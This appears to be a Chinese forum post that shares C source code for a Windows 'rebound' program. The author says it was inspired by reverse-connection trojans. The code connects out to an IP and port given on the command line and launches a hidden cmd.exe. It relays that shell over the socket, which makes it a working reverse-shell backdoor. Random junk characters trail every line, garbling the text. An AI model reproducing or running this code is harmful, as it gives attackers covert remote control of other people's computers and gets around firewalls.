这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 :jiuu@<
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/* ============================== +~^S'6yB
Rebound port in Windows NT 4XN
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By wind,2006/7 ^PZ[;F40
===============================*/ S<i$0p8J;
#include rOSov"7
#include i HD!v7d7
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#pragma comment(lib,"wsock32.lib") ]@&X*~c^Z
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void OutputShell(); F0:]@0>r
SOCKET sClient; aA`eKy) \
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; J2=4%#R!
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void main(int argc,char **argv) b#6S8C+@
{ *G58t`]r
WSADATA stWsaData; ${ {4L?7
int nRet; +U
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SOCKADDR_IN stSaiClient,stSaiServer; YXA@
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if(argc != 3) ;kgP:n
{ 8rsc@]W
printf("Useage:\n\rRebound DestIP DestPort\n"); pbVL|\oB}
return; 54_}9_g
} }'oU/@yG
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WSAStartup(MAKEWORD(2,2),&stWsaData); TA[%eMvA
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); cJo%j -AM
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stSaiClient.sin_family = AF_INET; 7Jn%XxHq
stSaiClient.sin_port = htons(0); ]Z!Y*v
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 6 4_}"fU
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Vq'7gJj'
{ t1']q"
printf("Bind Socket Failed!\n"); uavATnGO{B
return; AFAg3/
} |qNe_)
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stSaiServer.sin_family = AF_INET; 8}'iEj^e
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ';I}6N
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \"O5li3n
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) W:r[o%B
{ P6gkbtg
printf("Connect Error!"); .(@=L1C<}J
return; *rq*li;
} |bnd92fvks
OutputShell(); z$1RD)TQB
} fbq$:Q44
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void OutputShell() ;(NTzBq!1
{ Q0J1"*P0
char szBuff[1024]; kF|$oBQ
SECURITY_ATTRIBUTES stSecurityAttributes; m%|\AZBA#
OSVERSIONINFO stOsversionInfo; z9o]);dZ
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ^z
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STARTUPINFO stStartupInfo; !<w6j-S
char *szShell; 4$Ai!a
PROCESS_INFORMATION stProcessInformation; B{Cm`f8E
unsigned long lBytesRead; SyL"Bmi
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); #
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); i2qN 0?n
stSecurityAttributes.lpSecurityDescriptor = 0; [c?0Q3F
stSecurityAttributes.bInheritHandle = TRUE; '}hSh
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ('z=/"(l
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); o-<i+ To%
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); c~T{;
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :w^:Z$-hf
stStartupInfo.wShowWindow = SW_HIDE; 9wL2NC31Q
stStartupInfo.hStdInput = hReadPipe; 7ZUN;mr
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ,+i^]yF3j
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GetVersionEx(&stOsversionInfo); PF4[;ES'
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switch(stOsversionInfo.dwPlatformId) 2"6L\8hd2
{ >{^_]phlb
case 1: !.R-|<2|6
szShell = "command.com"; neEqw+#Z
break; #]Vw$X_S
default: X_PzK'#m
szShell = "cmd.exe"; DwBe_h .
break; e#}t
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} 30h[&Oc
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); A+/Lt>+AS
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send(sClient,szMsg,77,0); YdI6|o@vc
while(1) HS=w9:,
{ 29Uqdo
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); gc4o
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if(lBytesRead) s.z)l$
{ B;bP~e>W
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /qQx~doK
send(sClient,szBuff,lBytesRead,0); |6AR!
} ic G 9x
else P}6#s'07~
{ ZRhk2DA#FF
lBytesRead=recv(sClient,szBuff,1024,0); )=)N9C Ry
if(lBytesRead<=0) break; &^ERaPynd
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); jnV#Q
;
} Gr({30"8
} q~qz^E\T
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return; }%KQrlbHJl
}